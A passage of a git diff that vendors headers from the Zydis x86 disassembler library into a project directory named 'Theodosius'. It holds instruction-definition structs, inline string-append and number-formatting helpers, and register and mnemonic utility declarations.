+ZYAN_STATIC_ASSERT(ZYDIS_IELEMENT_SIZE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_EVEX_FUNC_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_MASK_POLICY_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_MASK_OVERRIDE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_EVEX_STATIC_BROADCAST_REQUIRED_BITS <= 8); + +/** + * Defines the `ZydisInstructionDefinitionEVEX` struct. + */ +typedef struct ZydisInstructionDefinitionEVEX_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL; +#ifndef ZYDIS_MINIMAL_MODE + ZyanU8 vector_length ZYAN_BITFIELD(ZYDIS_IVECTOR_LENGTH_REQUIRED_BITS); + ZyanU8 tuple_type ZYAN_BITFIELD(ZYDIS_TUPLETYPE_REQUIRED_BITS); + ZyanU8 element_size ZYAN_BITFIELD(ZYDIS_IELEMENT_SIZE_REQUIRED_BITS); + ZyanU8 functionality ZYAN_BITFIELD(ZYDIS_EVEX_FUNC_REQUIRED_BITS); +#endif + ZyanU8 mask_policy ZYAN_BITFIELD(ZYDIS_MASK_POLICY_REQUIRED_BITS); + ZyanBool accepts_zero_mask ZYAN_BITFIELD( 1); +#ifndef ZYDIS_MINIMAL_MODE + ZyanU8 mask_override ZYAN_BITFIELD(ZYDIS_MASK_OVERRIDE_REQUIRED_BITS); + ZyanU8 broadcast ZYAN_BITFIELD(ZYDIS_EVEX_STATIC_BROADCAST_REQUIRED_BITS); +#endif +} ZydisInstructionDefinitionEVEX; +#endif + +#ifndef ZYDIS_DISABLE_KNC + +// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct +// enum types +ZYAN_STATIC_ASSERT(ZYDIS_MVEX_FUNC_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_MASK_POLICY_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_MVEX_STATIC_BROADCAST_REQUIRED_BITS <= 8); + +/** + * Defines the `ZydisInstructionDefinitionMVEX` struct. + */ +typedef struct ZydisInstructionDefinitionMVEX_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL; + ZyanU8 functionality ZYAN_BITFIELD(ZYDIS_MVEX_FUNC_REQUIRED_BITS); + ZyanU8 mask_policy ZYAN_BITFIELD(ZYDIS_MASK_POLICY_REQUIRED_BITS); +#ifndef ZYDIS_MINIMAL_MODE + ZyanBool has_element_granularity ZYAN_BITFIELD( 1); + ZyanU8 broadcast ZYAN_BITFIELD(ZYDIS_MVEX_STATIC_BROADCAST_REQUIRED_BITS); +#endif +} ZydisInstructionDefinitionMVEX; +#endif + +/* ---------------------------------------------------------------------------------------------- */ +/* Accessed CPU flags */ +/* ---------------------------------------------------------------------------------------------- */ + +typedef struct ZydisAccessedFlags_ +{ + ZydisCPUFlagAction action[ZYDIS_CPUFLAG_MAX_VALUE + 1]; + ZyanU32 cpu_flags_read ZYAN_BITFIELD(22); + ZyanU32 cpu_flags_written ZYAN_BITFIELD(22); + ZyanU8 fpu_flags_read ZYAN_BITFIELD( 4); + ZyanU8 fpu_flags_written ZYAN_BITFIELD( 4); +} ZydisAccessedFlags; + +/* ---------------------------------------------------------------------------------------------- */ + +#pragma pack(pop) + +#ifdef ZYAN_MSVC +# pragma warning(pop) +#endif + +/* ============================================================================================== */ +/* Functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Instruction definition */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the instruction-definition with the given `encoding` and `id`. + * + * @param encoding The instruction-encoding. + * @param id The definition-id. + * @param definition A pointer to the variable that receives a pointer to the instruction- + * definition. + */ +ZYDIS_NO_EXPORT void ZydisGetInstructionDefinition(ZydisInstructionEncoding encoding, + ZyanU16 id, const ZydisInstructionDefinition** definition); + +/* ---------------------------------------------------------------------------------------------- */ +/* Operand definition */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYDIS_MINIMAL_MODE +/** + * Returns the the operand-definitions for the given instruction-`definition`. + * + * @param definition A pointer to the instruction-definition. + * @param operand A pointer to the variable that receives a pointer to the first operand- + * definition of the instruction. + * + * @return The number of operands for the given instruction-definition. + */ +ZYDIS_NO_EXPORT ZyanU8 ZydisGetOperandDefinitions(const ZydisInstructionDefinition* definition, + const ZydisOperandDefinition** operand); +#endif + +/* ---------------------------------------------------------------------------------------------- */ +/* Element info */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYDIS_MINIMAL_MODE +/** + * Returns the actual type and size of an internal element-type. + * + * @param element The internal element type. + * @param type The actual element type. + * @param size The element size. + */ +ZYDIS_NO_EXPORT void ZydisGetElementInfo(ZydisInternalElementType element, ZydisElementType* type, + ZydisElementSize* size); +#endif + +/* ---------------------------------------------------------------------------------------------- */ +/* Accessed CPU flags */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYDIS_MINIMAL_MODE +/** + * Returns the the operand-definitions for the given instruction-`definition`. + * + * @param definition A pointer to the instruction-definition. + * @param flags A pointer to the variable that receives the `ZydisAccessedFlags` struct. + * + * @return `ZYAN_TRUE`, if the instruction accesses any flags, or `ZYAN_FALSE`, if not. + */ +ZYDIS_NO_EXPORT ZyanBool ZydisGetAccessedFlags(const ZydisInstructionDefinition* definition, + const ZydisAccessedFlags** flags); +#endif + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_INTERNAL_SHAREDDATA_H */ diff --git a/Theodosius/Zydis/Internal/String.h b/Theodosius/Zydis/Internal/String.h new file mode 100644 index 0000000..18ed812 --- /dev/null +++ b/Theodosius/Zydis/Internal/String.h @@ -0,0 +1,464 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Provides some internal, more performant, but unsafe helper functions for the `ZyanString` + * data-type. + * + * Most of these functions are very similar to the ones in `Zycore/String.h`, but inlined and + * without optional overhead like parameter-validation checks, etc ... + * + * The `ZyanString` data-type is able to dynamically allocate memory on the heap, but as `Zydis` is + * designed to be a non-'malloc'ing library, all functions in this file assume that the instances + * they are operating on are created with a user-defined static-buffer. + */ + +#ifndef ZYDIS_INTERNAL_STRING_H +#define ZYDIS_INTERNAL_STRING_H + +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Letter Case */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisLetterCase` enum. + */ +typedef enum ZydisLetterCase_ +{ + /** + * Uses the given text "as is". + */ + ZYDIS_LETTER_CASE_DEFAULT, + /** + * Converts the given text to lowercase letters. + */ + ZYDIS_LETTER_CASE_LOWER, + /** + * Converts the given text to uppercase letters. + */ + ZYDIS_LETTER_CASE_UPPER, + + /** + * Maximum value of this enum. + */ + ZYDIS_LETTER_CASE_MAX_VALUE = ZYDIS_LETTER_CASE_UPPER, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_LETTER_CASE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_LETTER_CASE_MAX_VALUE) +} ZydisLetterCase; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Internal macros */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Checks for a terminating '\0' character at the end of the string data. + */ +#define ZYDIS_STRING_ASSERT_NULLTERMINATION(string) \ + ZYAN_ASSERT(*(char*)((ZyanU8*)(string)->vector.data + (string)->vector.size - 1) == '\0'); + +/** + * Writes a terminating '\0' character at the end of the string data. + */ +#define ZYDIS_STRING_NULLTERMINATE(string) \ + *(char*)((ZyanU8*)(string)->vector.data + (string)->vector.size - 1) = '\0'; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Internal Functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Appending */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Appends the content of the source string to the end of the destination string. + * + * @param destination The destination string. + * @param source The source string. + * + * @return A zyan status code. + */ +ZYAN_INLINE ZyanStatus ZydisStringAppend(ZyanString* destination, const ZyanStringView* source) +{ + ZYAN_ASSERT(destination && source); + ZYAN_ASSERT(!destination->vector.allocator); + ZYAN_ASSERT(destination->vector.size && source->string.vector.size); + + if (destination->vector.size + source->string.vector.size - 1 > destination->vector.capacity) + { + return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; + } + + ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, + source->string.vector.data, source->string.vector.size - 1); + + destination->vector.size += source->string.vector.size - 1; + ZYDIS_STRING_NULLTERMINATE(destination); + + return ZYAN_STATUS_SUCCESS; +} + +/** + * Appends the content of the source string to the end of the destination + * string, converting the characters to the specified letter-case. + * + * @param destination The destination string. + * @param source The source string. + * @param letter_case The desired letter-case. + * + * @return A zyan status code. + */ +ZYAN_INLINE ZyanStatus ZydisStringAppendCase(ZyanString* destination, const ZyanStringView* source, + ZydisLetterCase letter_case) +{ + ZYAN_ASSERT(destination && source); + ZYAN_ASSERT(!destination->vector.allocator); + ZYAN_ASSERT(destination->vector.size && source->string.vector.size); + + if (destination->vector.size + source->string.vector.size - 1 > destination->vector.capacity) + { + return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; + } + + ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, + source->string.vector.data, source->string.vector.size - 1); + + switch (letter_case) + { + case ZYDIS_LETTER_CASE_DEFAULT: + break; + case ZYDIS_LETTER_CASE_LOWER: + { + const ZyanUSize index = destination->vector.size - 1; + const ZyanUSize count = source->string.vector.size - 1; + char* s = (char*)destination->vector.data + index; + for (ZyanUSize i = index; i < index + count; ++i) + { + const char c = *s; + if ((c >= 'A') && (c <= 'Z')) + { + *s = c | 32; + } + ++s; + } + break; + } + case ZYDIS_LETTER_CASE_UPPER: + { + const ZyanUSize index = destination->vector.size - 1; + const ZyanUSize count = source->string.vector.size - 1; + char* s = (char*)destination->vector.data + index; + for (ZyanUSize i = index; i < index + count; ++i) + { + const char c = *s; + if ((c >= 'a') && (c <= 'z')) + { + *s = c & ~32; + } + ++s; + } + break; + } + default: + ZYAN_UNREACHABLE; + } + + destination->vector.size += source->string.vector.size - 1; + ZYDIS_STRING_NULLTERMINATE(destination); + + return ZYAN_STATUS_SUCCESS; +} + +/** + * Appends the content of the source short-string to the end of the destination string. + * + * @param destination The destination string. + * @param source The source string. + * + * @return A zyan status code. + */ +ZYAN_INLINE ZyanStatus ZydisStringAppendShort(ZyanString* destination, + const ZydisShortString* source) +{ + ZYAN_ASSERT(destination && source); + ZYAN_ASSERT(!destination->vector.allocator); + ZYAN_ASSERT(destination->vector.size && source->size); + + if (destination->vector.size + source->size > destination->vector.capacity) + { + return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; + } + + ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, source->data, + (ZyanUSize)source->size + 1); + + destination->vector.size += source->size; + ZYDIS_STRING_ASSERT_NULLTERMINATION(destination); + + return ZYAN_STATUS_SUCCESS; +} + +/** + * Appends the content of the source short-string to the end of the destination string, + * converting the characters to the specified letter-case. + * + * @param destination The destination string. + * @param source The source string. + * @param letter_case The desired letter-case. + * + * @return A zyan status code. + */ +ZYAN_INLINE ZyanStatus ZydisStringAppendShortCase(ZyanString* destination, + const ZydisShortString* source, ZydisLetterCase letter_case) +{ + ZYAN_ASSERT(destination && source); + ZYAN_ASSERT(!destination->vector.allocator); + ZYAN_ASSERT(destination->vector.size && source->size); + + if (destination->vector.size + source->size > destination->vector.capacity) + { + return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; + } + + ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, source->data, + (ZyanUSize)source->size + 1); + + switch (letter_case) + { + case ZYDIS_LETTER_CASE_DEFAULT: + break; + case ZYDIS_LETTER_CASE_LOWER: + { + const ZyanUSize index = destination->vector.size - 1; + const ZyanUSize count = source->size; + char* s = (char*)destination->vector.data + index; + for (ZyanUSize i = index; i < index + count; ++i) + { + const char c = *s; + if ((c >= 'A') && (c <= 'Z')) + { + *s = c | 32; + } + ++s; + } + break; + } + case ZYDIS_LETTER_CASE_UPPER: + { + const ZyanUSize index = destination->vector.size - 1; + const ZyanUSize count = source->size; + char* s = (char*)destination->vector.data + index; + for (ZyanUSize i = index; i < index + count; ++i) + { + const char c = *s; + if ((c >= 'a') && (c <= 'z')) + { + *s = c & ~32; + } + ++s; + } + break; + } + default: + ZYAN_UNREACHABLE; + } + + destination->vector.size += source->size; + ZYDIS_STRING_ASSERT_NULLTERMINATION(destination); + + return ZYAN_STATUS_SUCCESS; +} + +/* ---------------------------------------------------------------------------------------------- */ +/* Formatting */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Formats the given unsigned ordinal `value` to its decimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * @param suffix The string to use as suffix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZyanStatus ZydisStringAppendDecU(ZyanString* string, ZyanU64 value, ZyanU8 padding_length, + const ZyanStringView* prefix, const ZyanStringView* suffix); + +/** + * Formats the given signed ordinal `value` to its decimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * @param suffix The string to use as suffix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYAN_INLINE ZyanStatus ZydisStringAppendDecS(ZyanString* string, ZyanI64 value, + ZyanU8 padding_length, ZyanBool force_sign, const ZyanStringView* prefix, + const ZyanStringView* suffix) +{ + static const ZydisShortString str_add = ZYDIS_MAKE_SHORTSTRING("+"); + static const ZydisShortString str_sub = ZYDIS_MAKE_SHORTSTRING("-"); + + if (value < 0) + { + ZYAN_CHECK(ZydisStringAppendShort(string, &str_sub)); + if (prefix) + { + ZYAN_CHECK(ZydisStringAppend(string, prefix)); + } + return ZydisStringAppendDecU(string, ZyanAbsI64(value), padding_length, + (const ZyanStringView*)ZYAN_NULL, suffix); + } + + if (force_sign) + { + ZYAN_ASSERT(value >= 0); + ZYAN_CHECK(ZydisStringAppendShort(string, &str_add)); + } + return ZydisStringAppendDecU(string, value, padding_length, prefix, suffix); +} + +/** + * Formats the given unsigned ordinal `value` to its hexadecimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase + * ones ('a'-'f'). + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * @param suffix The string to use as suffix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZyanStatus ZydisStringAppendHexU(ZyanString* string, ZyanU64 value, ZyanU8 padding_length, + ZyanBool uppercase, const ZyanStringView* prefix, const ZyanStringView* suffix); + +/** + * Formats the given signed ordinal `value` to its hexadecimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the string. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length` (the sign char is ignored). + * @param uppercase Set `ZYAN_TRUE` to print the hexadecimal value in uppercase letters + * instead of lowercase ones. + * @param force_sign Set to `ZYAN_TRUE`, to force printing of the `+` sign for positive + * numbers. + * @param prefix The string to use as prefix or `NULL`, if not needed. + * @param suffix The string to use as suffix or `NULL`, if not needed. + * + * @return `ZYAN_STATUS_SUCCESS`, if the function succeeded, or + * `ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE`, if the size of the buffer was not + * sufficient to append the given `value`. + * + * The string-buffer pointer is increased by the number of chars written, if the call was + * successful. + */ +ZYAN_INLINE ZyanStatus ZydisStringAppendHexS(ZyanString* string, ZyanI64 value, + ZyanU8 padding_length, ZyanBool uppercase, ZyanBool force_sign, const ZyanStringView* prefix, + const ZyanStringView* suffix) +{ + static const ZydisShortString str_add = ZYDIS_MAKE_SHORTSTRING("+"); + static const ZydisShortString str_sub = ZYDIS_MAKE_SHORTSTRING("-"); + + if (value < 0) + { + ZYAN_CHECK(ZydisStringAppendShort(string, &str_sub)); + if (prefix) + { + ZYAN_CHECK(ZydisStringAppend(string, prefix)); + } + return ZydisStringAppendHexU(string, ZyanAbsI64(value), padding_length, uppercase, + (const ZyanStringView*)ZYAN_NULL, suffix); + } + + if (force_sign) + { + ZYAN_ASSERT(value >= 0); + ZYAN_CHECK(ZydisStringAppendShort(string, &str_add)); + } + return ZydisStringAppendHexU(string, value, padding_length, uppercase, prefix, suffix); +} + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif // ZYDIS_INTERNAL_STRING_H diff --git a/Theodosius/Zydis/MetaInfo.h b/Theodosius/Zydis/MetaInfo.h new file mode 100644 index 0000000..6867d32 --- /dev/null +++ b/Theodosius/Zydis/MetaInfo.h @@ -0,0 +1,88 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * @brief + */ + +#ifndef ZYDIS_METAINFO_H +#define ZYDIS_METAINFO_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +#include +#include +#include + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + + /** + * Returns the specified instruction category string. + * + * @param category The instruction category. + * + * @return The instruction category string or `ZYAN_NULL`, if an invalid category was passed. + */ +ZYDIS_EXPORT const char* ZydisCategoryGetString(ZydisInstructionCategory category); + +/** + * Returns the specified isa-set string. + * + * @param isa_set The isa-set. + * + * @return The isa-set string or `ZYAN_NULL`, if an invalid isa-set was passed. + */ +ZYDIS_EXPORT const char* ZydisISASetGetString(ZydisISASet isa_set); + +/** + * Returns the specified isa-extension string. + * + * @param isa_ext The isa-extension. + * + * @return The isa-extension string or `ZYAN_NULL`, if an invalid isa-extension was passed. + */ +ZYDIS_EXPORT const char* ZydisISAExtGetString(ZydisISAExt isa_ext); + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_METAINFO_H */ diff --git a/Theodosius/Zydis/Mnemonic.h b/Theodosius/Zydis/Mnemonic.h new file mode 100644 index 0000000..dd8fec8 --- /dev/null +++ b/Theodosius/Zydis/Mnemonic.h @@ -0,0 +1,88 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Mnemonic constant definitions and helper functions. + */ + +#ifndef ZYDIS_MNEMONIC_H +#define ZYDIS_MNEMONIC_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +#include + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * @addtogroup mnemonic Mnemonic + * Functions for retrieving mnemonic names. + * @{ + */ + +/** + * Returns the specified instruction mnemonic string. + * + * @param mnemonic The mnemonic. + * + * @return The instruction mnemonic string or `ZYAN_NULL`, if an invalid mnemonic was passed. + */ +ZYDIS_EXPORT const char* ZydisMnemonicGetString(ZydisMnemonic mnemonic); + +/** + * Returns the specified instruction mnemonic as `ZydisShortString`. + * + * @param mnemonic The mnemonic. + * + * @return The instruction mnemonic string or `ZYAN_NULL`, if an invalid mnemonic was passed. + * + * The `buffer` of the returned struct is guaranteed to be zero-terminated in this special case. + */ +ZYDIS_EXPORT const ZydisShortString* ZydisMnemonicGetStringWrapped(ZydisMnemonic mnemonic); + +/** + * @} + */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_MNEMONIC_H */ diff --git a/Theodosius/Zydis/Register.h b/Theodosius/Zydis/Register.h new file mode 100644 index 0000000..0ff955f --- /dev/null +++ b/Theodosius/Zydis/Register.h @@ -0,0 +1,293 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Utility functions and constants for registers. + */ + +#ifndef ZYDIS_REGISTER_H +#define ZYDIS_REGISTER_H + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Registers */ +/* ---------------------------------------------------------------------------------------------- */ + +#include + +/* ---------------------------------------------------------------------------------------------- */ +/* Register classes */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisRegisterClass` enum. + * + * Please note that this enum does not contain a matching entry for all values of the + * `ZydisRegister` enum, but only for those registers where it makes sense to logically group them + * for decoding/encoding purposes. + * + * These are mainly the registers that can be identified by an id within their corresponding + * register-class. The `IP` and `FLAGS` values are exceptions to this rule. + */ +typedef enum ZydisRegisterClass_ +{ + ZYDIS_REGCLASS_INVALID, + /** + * 8-bit general-purpose registers. + */ + ZYDIS_REGCLASS_GPR8, + /** + * 16-bit general-purpose registers. + */ + ZYDIS_REGCLASS_GPR16, + /** + * 32-bit general-purpose registers. + */ + ZYDIS_REGCLASS_GPR32, + /** + * 64-bit general-purpose registers. + */ + ZYDIS_REGCLASS_GPR64, + /** + * Floating point legacy registers. + */ + ZYDIS_REGCLASS_X87, + /** + * Floating point multimedia registers. + */ + ZYDIS_REGCLASS_MMX, + /** + * 128-bit vector registers. + */ + ZYDIS_REGCLASS_XMM, + /** + * 256-bit vector registers. + */ + ZYDIS_REGCLASS_YMM, + /** + * 512-bit vector registers. + */ + ZYDIS_REGCLASS_ZMM, + /** + * Matrix registers. + */ + ZYDIS_REGCLASS_TMM, + /* + * Flags registers. + */ + ZYDIS_REGCLASS_FLAGS, + /** + * Instruction-pointer registers. + */ + ZYDIS_REGCLASS_IP, + /** + * Segment registers. + */ + ZYDIS_REGCLASS_SEGMENT, + /** + * Test registers. + */ + ZYDIS_REGCLASS_TEST, + /** + * Control registers. + */ + ZYDIS_REGCLASS_CONTROL, + /** + * Debug registers. + */ + ZYDIS_REGCLASS_DEBUG, + /** + * Mask registers. + */ + ZYDIS_REGCLASS_MASK, + /** + * Bound registers. + */ + ZYDIS_REGCLASS_BOUND, + + /** + * Maximum value of this enum. + */ + ZYDIS_REGCLASS_MAX_VALUE = ZYDIS_REGCLASS_BOUND, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_REGCLASS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_REGCLASS_MAX_VALUE) +} ZydisRegisterClass; + +/* ---------------------------------------------------------------------------------------------- */ +/* Register width */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisRegisterWidth` data-type. + */ +typedef ZyanU16 ZydisRegisterWidth; + +/* ---------------------------------------------------------------------------------------------- */ +/* Register context */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisRegisterContext` struct. + */ +typedef struct ZydisRegisterContext_ +{ + /** + * The values stored in the register context. + */ + ZyanU64 values[ZYDIS_REGISTER_MAX_VALUE + 1]; +} ZydisRegisterContext; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * @addtogroup register Register + * Functions allowing retrieval of information about registers. + * @{ + */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Register */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the register specified by the `register_class` and `id` tuple. + * + * @param register_class The register class. + * @param id The register id. + * + * @return The register specified by the `register_class` and `id` tuple or `ZYDIS_REGISTER_NONE`, + * if an invalid parameter was passed. + */ +ZYDIS_EXPORT ZydisRegister ZydisRegisterEncode(ZydisRegisterClass register_class, ZyanU8 id); + +/** + * Returns the id of the specified register. + * + * @param reg The register. + * + * @return The id of the specified register, or -1 if an invalid parameter was passed. + */ +ZYDIS_EXPORT ZyanI8 ZydisRegisterGetId(ZydisRegister reg); + +/** + * Returns the register-class of the specified register. + * + * @param reg The register. + * + * @return The register-class of the specified register. + */ +ZYDIS_EXPORT ZydisRegisterClass ZydisRegisterGetClass(ZydisRegister reg); + +/** + * Returns the width of the specified register. + * + * @param mode The active machine mode. + * @param reg The register. + * + * @return The width of the specified register, or `ZYDIS_REGISTER_NONE` if the register is + * invalid for the active machine-mode. + */ +ZYDIS_EXPORT ZydisRegisterWidth ZydisRegisterGetWidth(ZydisMachineMode mode, ZydisRegister 